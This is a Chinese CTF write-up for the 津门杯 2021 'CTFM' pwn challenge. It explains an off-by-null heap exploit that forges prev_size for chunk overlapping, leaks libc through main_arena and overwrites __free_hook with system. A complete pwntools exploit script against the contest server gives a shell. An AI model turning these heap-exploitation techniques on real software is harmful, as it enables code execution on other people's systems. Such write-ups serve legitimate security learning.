XCTF 津门杯 2021-PwnCTFM-WP
比赛的时候不知道为什么,一直没想出来,赛后复现一下。
本题、本次比赛,最讨厌的地方就是每道 PWN 题都没给 libc,大幅降低了做题体验(好吧还是我太菜了)。其实题目很简单。
分析

这里的 strcpy 存在一个 off-by-null,所以 off-by-null 下一个 chunk,伪造 prev_size,使前一个 chunk 为 unsorted bin,然后 free 掉那个被 off-by-null 的 chunk 就可以实现 chunk overlapping,并且可以实现 leak。
解法
以上的思路是十分自然的,当时主要卡在如何伪造 prev_size 上,由于 strcpy 的机制,伪造不是那么的直接,但是确实还是很简单的,一次一次退回去就可以了,也就是
for i in range(6):
delete(7)
add('index:7',0xF8,'a' * (0xF8 - i),1)
delete(7)
add('index:7',0xF8,'a' * 0xF1 + '\x08',1)
delete(7)
add('index:7',0xF8,'a' * 0xF0,1)
这样的方法,第一次输入先 off-by-null,然后一字节一字节的后退,把 prev_size 的高 5 字节都清零,再写入一个 \x08
,这个时候 prev_size 等于 0x861,再输入一次把低一字节置零就可以了,此时 prev_size 就被伪造成了 0x800。
之后的 leak 可能也需要动点脑筋,由于只要申请了 chunk 原 chunk 中的数据就无法被输出出来了,所以需要利用 overlapping 来实现 leak,也就是从 free 出来的 unsorted bin 中申请一个恰当大小的 chunk,然后切割分配后,main_arena 的地址就会被写到一个已经被申请出来的 chunk 中,这样通过 show 功能就可以实现 leak 了。
leak 之后 tcache 打 free_hook getshell 比较简单,不再赘述。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
#sh = process("./pwn")
#libc = ELF("/glibc/2.27/amd64/lib/libc.so.6")
sh = remote("119.3.81.43",49155)
def add(name,size,des,score):
sh.sendlineafter(">>",'1')
sh.sendafter("name:",name)
sh.sendlineafter("size:",str(size))
if (des != ''):
sh.sendafter("des:",des)
sh.sendlineafter("score:",str(score))
def delete(index):
sh.sendlineafter(">>",'2')
sh.sendlineafter("index:",str(index))
def show(index):
sh.sendlineafter(">>",'3')
sh.sendlineafter("index:",str(index))
sh.sendlineafter("name:",'CTFM')
sh.sendlineafter("password:",'123456')
add('index:0',0xF8,'off-by-nulled',1)
for i in range(1,8):
add('index:i',0xF8,'0',1)
add('index:8',0xF8,'0',1)
add('index:9',0x20,'0',1)
for i in range(6):
delete(7)
add('index:7',0xF8,'a' * (0xF8 - i),1)
delete(7)
add('aaa',0xF8,'a' * 0xF1 + '\x08',1)
delete(7)
add('aaa',0xF8,'a' * 0xF0,1)
for i in range(1,8):
delete(i)
delete(0)
delete(9)
delete(8)
for i in range(8):
add("index:i",0xF8,'/bin/sh\x00',1)
show(6)
sh.recvuntil("des:")
#libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.sym["main_arena"] - 96
__malloc_hook_addr = u64(sh.recv(6).ljust(8,'\x00')) - 96 - 0x10
libcs = LibcSearcher("__malloc_hook",__malloc_hook_addr)
libc_base = __malloc_hook_addr - libcs.dump("__malloc_hook")
log.success("libc_base:" + hex(libc_base))
#system_addr = libc_base + libc.sym["system"]
#__free_hook_addr = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libcs.dump("system")
__free_hook_addr = libc_base + libcs.dump("__free_hook")
delete(5)
add("index:5",0x1E8,'a' * 0x100 + p64(__free_hook_addr),1)
add("index:8",0xF8,'pass',1)
add("index:9",0xF8,p64(system_addr),1)
delete(1)
#gdb.attach(proc.pidof(sh)[0])
sh.interactive()
另外多说一句,靶机的 libc 版本是 2.27,LibcSearcher 也有搜出 2.29 的匹配,但是由于 2.29 已经加入了对前向合并的检查(两 chunk 必须相邻),所以不可能是 2.29 版本的。
比赛时没做出来,好羞愧好难过。还是要提高自己的水平啊。